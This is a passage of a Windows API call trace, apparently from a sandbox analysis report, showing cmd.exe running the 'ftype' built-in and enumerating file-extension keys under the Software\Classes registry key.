	[0058.127] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0058.127] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0
	[0058.127] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290
	[0058.127] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0
	[0058.128] _wcsicmp (_String1="ftYpe", _String2=")") returned 61
	[0058.128] _wcsicmp (_String1="FOR", _String2="ftYpe") returned -5
	[0058.128] _wcsicmp (_String1="FOR/?", _String2="ftYpe") returned -5
	[0058.128] _wcsicmp (_String1="IF", _String2="ftYpe") returned 3
	[0058.128] _wcsicmp (_String1="IF/?", _String2="ftYpe") returned 3
	[0058.128] _wcsicmp (_String1="REM", _String2="ftYpe") returned 12
	[0058.128] _wcsicmp (_String1="REM/?", _String2="ftYpe") returned 12
	[0058.129] GetConsoleTitleW (in: lpConsoleTitle=0x20f730, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
	[0058.129] _wcsicmp (_String1="ftYpe", _String2="DIR") returned 2
	[0058.129] _wcsicmp (_String1="ftYpe", _String2="ERASE") returned 1
	[0058.129] _wcsicmp (_String1="ftYpe", _String2="DEL") returned 2
	[0058.129] _wcsicmp (_String1="ftYpe", _String2="TYPE") returned -14
	[0058.129] _wcsicmp (_String1="ftYpe", _String2="COPY") returned 3
	[0058.129] _wcsicmp (_String1="ftYpe", _String2="CD") returned 3
	[0058.129] _wcsicmp (_String1="ftYpe", _String2="CHDIR") returned 3
	[0058.129] _wcsicmp (_String1="ftYpe", _String2="RENAME") returned -12
	[0058.129] _wcsicmp (_String1="ftYpe", _String2="REN") returned -12
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="ECHO") returned 1
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="SET") returned -13
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="PAUSE") returned -10
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="DATE") returned 2
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="TIME") returned -14
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="PROMPT") returned -10
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="MD") returned -7
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="MKDIR") returned -7
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="RD") returned -12
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="RMDIR") returned -12
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="PATH") returned -10
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="GOTO") returned -1
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="SHIFT") returned -13
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="CLS") returned 3
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="CALL") returned 3
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="VERIFY") returned -16
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="VER") returned -16
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="VOL") returned -16
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="EXIT") returned 1
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="SETLOCAL") returned -13
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="ENDLOCAL") returned 1
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="TITLE") returned -14
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="START") returned -13
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="DPATH") returned 2
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="KEYS") returned -5
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="MOVE") returned -7
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="PUSHD") returned -10
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="POPD") returned -10
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="ASSOC") returned 5
	[0058.130] _wcsicmp (_String1="ftYpe", _String2="FTYPE") returned 0
	[0058.131] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20f4c8 | out: phkResult=0x20f4c8*=0x4c) returned 0x0
	[0058.131] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff0e0000
	[0058.136] GetProcAddress (hModule=0x7feff0e0000, lpProcName="RegEnumKeyW") returned 0x7feff0fbf20
	[0058.136] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x0, lpName=0x20f1f0, cchName=0x104 | out: lpName="*") returned 0x0
	[0058.136] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="*\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x20f180 | out: phkResult=0x20f180*=0x0) returned 0x2
	[0058.136] SetLastError (dwErrCode=0x2) 
	[0058.136] RegCloseKey (hKey=0x0) returned 0x6
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1, lpName=0x20f1f0, cchName=0x104 | out: lpName=".386") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2, lpName=0x20f1f0, cchName=0x104 | out: lpName=".3g2") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3, lpName=0x20f1f0, cchName=0x104 | out: lpName=".3gp") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4, lpName=0x20f1f0, cchName=0x104 | out: lpName=".3gp2") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5, lpName=0x20f1f0, cchName=0x104 | out: lpName=".3gpp") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6, lpName=0x20f1f0, cchName=0x104 | out: lpName=".a") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7, lpName=0x20f1f0, cchName=0x104 | out: lpName=".AAC") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8, lpName=0x20f1f0, cchName=0x104 | out: lpName=".accda") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9, lpName=0x20f1f0, cchName=0x104 | out: lpName=".accdb") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa, lpName=0x20f1f0, cchName=0x104 | out: lpName=".accdc") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb, lpName=0x20f1f0, cchName=0x104 | out: lpName=".accde") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc, lpName=0x20f1f0, cchName=0x104 | out: lpName=".accdr") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd, lpName=0x20f1f0, cchName=0x104 | out: lpName=".accdt") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe, lpName=0x20f1f0, cchName=0x104 | out: lpName=".accdu") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf, lpName=0x20f1f0, cchName=0x104 | out: lpName=".accdw") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x10, lpName=0x20f1f0, cchName=0x104 | out: lpName=".accft") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x11, lpName=0x20f1f0, cchName=0x104 | out: lpName=".acl") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x12, lpName=0x20f1f0, cchName=0x104 | out: lpName=".acrobatsecuritysettings") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x13, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ade") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x14, lpName=0x20f1f0, cchName=0x104 | out: lpName=".adn") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x15, lpName=0x20f1f0, cchName=0x104 | out: lpName=".adp") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x16, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ADT") returned 0x0
	[0058.137] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x17, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ADTS") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x18, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ai") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x19, lpName=0x20f1f0, cchName=0x104 | out: lpName=".aif") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1a, lpName=0x20f1f0, cchName=0x104 | out: lpName=".aifc") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1b, lpName=0x20f1f0, cchName=0x104 | out: lpName=".aiff") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1c, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ani") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1d, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ans") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1e, lpName=0x20f1f0, cchName=0x104 | out: lpName=".api") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x1f, lpName=0x20f1f0, cchName=0x104 | out: lpName=".application") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x20, lpName=0x20f1f0, cchName=0x104 | out: lpName=".appref-ms") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x21, lpName=0x20f1f0, cchName=0x104 | out: lpName=".aps") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x22, lpName=0x20f1f0, cchName=0x104 | out: lpName=".art") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x23, lpName=0x20f1f0, cchName=0x104 | out: lpName=".asa") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x24, lpName=0x20f1f0, cchName=0x104 | out: lpName=".asc") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x25, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ascx") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x26, lpName=0x20f1f0, cchName=0x104 | out: lpName=".asf") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x27, lpName=0x20f1f0, cchName=0x104 | out: lpName=".asm") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x28, lpName=0x20f1f0, cchName=0x104 | out: lpName=".asmx") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x29, lpName=0x20f1f0, cchName=0x104 | out: lpName=".asp") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2a, lpName=0x20f1f0, cchName=0x104 | out: lpName=".aspx") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2b, lpName=0x20f1f0, cchName=0x104 | out: lpName=".asx") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2c, lpName=0x20f1f0, cchName=0x104 | out: lpName=".au") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2d, lpName=0x20f1f0, cchName=0x104 | out: lpName=".avi") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2e, lpName=0x20f1f0, cchName=0x104 | out: lpName=".aw") returned 0x0
	[0058.138] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x2f, lpName=0x20f1f0, cchName=0x104 | out: lpName=".bas") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x30, lpName=0x20f1f0, cchName=0x104 | out: lpName=".bat") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x31, lpName=0x20f1f0, cchName=0x104 | out: lpName=".bcp") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x32, lpName=0x20f1f0, cchName=0x104 | out: lpName=".bin") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x33, lpName=0x20f1f0, cchName=0x104 | out: lpName=".bkf") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x34, lpName=0x20f1f0, cchName=0x104 | out: lpName=".blg") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x35, lpName=0x20f1f0, cchName=0x104 | out: lpName=".bmp") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x36, lpName=0x20f1f0, cchName=0x104 | out: lpName=".bsc") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x37, lpName=0x20f1f0, cchName=0x104 | out: lpName=".c") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x38, lpName=0x20f1f0, cchName=0x104 | out: lpName=".c2r") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x39, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cab") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3a, lpName=0x20f1f0, cchName=0x104 | out: lpName=".camp") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3b, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cat") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3c, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cc") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3d, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cda") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3e, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cdmp") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x3f, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cdx") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x40, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cer") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x41, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cgm") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x42, lpName=0x20f1f0, cchName=0x104 | out: lpName=".chk") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x43, lpName=0x20f1f0, cchName=0x104 | out: lpName=".chm") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x44, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cls") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x45, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cmd") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x46, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cod") returned 0x0
	[0058.139] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x47, lpName=0x20f1f0, cchName=0x104 | out: lpName=".com") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x48, lpName=0x20f1f0, cchName=0x104 | out: lpName=".compositefont") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x49, lpName=0x20f1f0, cchName=0x104 | out: lpName=".contact") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4a, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cpl") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4b, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cpp") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4c, lpName=0x20f1f0, cchName=0x104 | out: lpName=".crd") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4d, lpName=0x20f1f0, cchName=0x104 | out: lpName=".crds") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4e, lpName=0x20f1f0, cchName=0x104 | out: lpName=".crl") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x4f, lpName=0x20f1f0, cchName=0x104 | out: lpName=".crt") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x50, lpName=0x20f1f0, cchName=0x104 | out: lpName=".crtx") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x51, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cs") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x52, lpName=0x20f1f0, cchName=0x104 | out: lpName=".csa") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x53, lpName=0x20f1f0, cchName=0x104 | out: lpName=".csproj") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x54, lpName=0x20f1f0, cchName=0x104 | out: lpName=".css") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x55, lpName=0x20f1f0, cchName=0x104 | out: lpName=".csv") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x56, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cur") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x57, lpName=0x20f1f0, cchName=0x104 | out: lpName=".cxx") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x58, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dat") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x59, lpName=0x20f1f0, cchName=0x104 | out: lpName=".db") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5a, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dbg") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5b, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dbs") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5c, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dct") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5d, lpName=0x20f1f0, cchName=0x104 | out: lpName=".def") returned 0x0
	[0058.140] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5e, lpName=0x20f1f0, cchName=0x104 | out: lpName=".der") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x5f, lpName=0x20f1f0, cchName=0x104 | out: lpName=".desklink") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x60, lpName=0x20f1f0, cchName=0x104 | out: lpName=".det") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x61, lpName=0x20f1f0, cchName=0x104 | out: lpName=".diagcab") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x62, lpName=0x20f1f0, cchName=0x104 | out: lpName=".diagcfg") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x63, lpName=0x20f1f0, cchName=0x104 | out: lpName=".diagpkg") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x64, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dib") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x65, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dic") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x66, lpName=0x20f1f0, cchName=0x104 | out: lpName=".diz") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x67, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dll") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x68, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dl_") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x69, lpName=0x20f1f0, cchName=0x104 | out: lpName=".doc") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6a, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dochtml") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6b, lpName=0x20f1f0, cchName=0x104 | out: lpName=".docm") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6c, lpName=0x20f1f0, cchName=0x104 | out: lpName=".docmhtml") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6d, lpName=0x20f1f0, cchName=0x104 | out: lpName=".docx") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6e, lpName=0x20f1f0, cchName=0x104 | out: lpName=".docxml") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x6f, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dos") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x70, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dot") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x71, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dothtml") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x72, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dotm") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x73, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dotx") returned 0x0
	[0058.141] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x74, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dqy") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x75, lpName=0x20f1f0, cchName=0x104 | out: lpName=".drv") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x76, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dsn") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x77, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dsp") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x78, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dsw") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x79, lpName=0x20f1f0, cchName=0x104 | out: lpName=".DVR") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7a, lpName=0x20f1f0, cchName=0x104 | out: lpName=".DVR-MS") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7b, lpName=0x20f1f0, cchName=0x104 | out: lpName=".dwfx") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7c, lpName=0x20f1f0, cchName=0x104 | out: lpName=".easmx") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7d, lpName=0x20f1f0, cchName=0x104 | out: lpName=".edrwx") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7e, lpName=0x20f1f0, cchName=0x104 | out: lpName=".elm") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x7f, lpName=0x20f1f0, cchName=0x104 | out: lpName=".emf") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x80, lpName=0x20f1f0, cchName=0x104 | out: lpName=".eml") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x81, lpName=0x20f1f0, cchName=0x104 | out: lpName=".eprtx") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x82, lpName=0x20f1f0, cchName=0x104 | out: lpName=".eps") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x83, lpName=0x20f1f0, cchName=0x104 | out: lpName=".etp") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x84, lpName=0x20f1f0, cchName=0x104 | out: lpName=".evt") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x85, lpName=0x20f1f0, cchName=0x104 | out: lpName=".evtx") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x86, lpName=0x20f1f0, cchName=0x104 | out: lpName=".exc") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x87, lpName=0x20f1f0, cchName=0x104 | out: lpName=".exe") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x88, lpName=0x20f1f0, cchName=0x104 | out: lpName=".exp") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x89, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ext") returned 0x0
	[0058.142] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8a, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ex_") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8b, lpName=0x20f1f0, cchName=0x104 | out: lpName=".eyb") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8c, lpName=0x20f1f0, cchName=0x104 | out: lpName=".faq") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8d, lpName=0x20f1f0, cchName=0x104 | out: lpName=".fdf") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8e, lpName=0x20f1f0, cchName=0x104 | out: lpName=".fdm") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x8f, lpName=0x20f1f0, cchName=0x104 | out: lpName=".fif") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x90, lpName=0x20f1f0, cchName=0x104 | out: lpName=".fky") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x91, lpName=0x20f1f0, cchName=0x104 | out: lpName=".fnd") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x92, lpName=0x20f1f0, cchName=0x104 | out: lpName=".fnt") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x93, lpName=0x20f1f0, cchName=0x104 | out: lpName=".fon") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x94, lpName=0x20f1f0, cchName=0x104 | out: lpName=".gadget") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x95, lpName=0x20f1f0, cchName=0x104 | out: lpName=".gcsx") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x96, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ghi") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x97, lpName=0x20f1f0, cchName=0x104 | out: lpName=".gif") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x98, lpName=0x20f1f0, cchName=0x104 | out: lpName=".glox") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x99, lpName=0x20f1f0, cchName=0x104 | out: lpName=".gmmp") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9a, lpName=0x20f1f0, cchName=0x104 | out: lpName=".gqsx") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9b, lpName=0x20f1f0, cchName=0x104 | out: lpName=".gra") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9c, lpName=0x20f1f0, cchName=0x104 | out: lpName=".group") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9d, lpName=0x20f1f0, cchName=0x104 | out: lpName=".grp") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9e, lpName=0x20f1f0, cchName=0x104 | out: lpName=".gz") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9f, lpName=0x20f1f0, cchName=0x104 | out: lpName=".h") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa0, lpName=0x20f1f0, cchName=0x104 | out: lpName=".H1C") returned 0x0
	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa1, lpName=0x20f1f0, cchName=0x104 | out: lpName=".H1D") returned 0x0
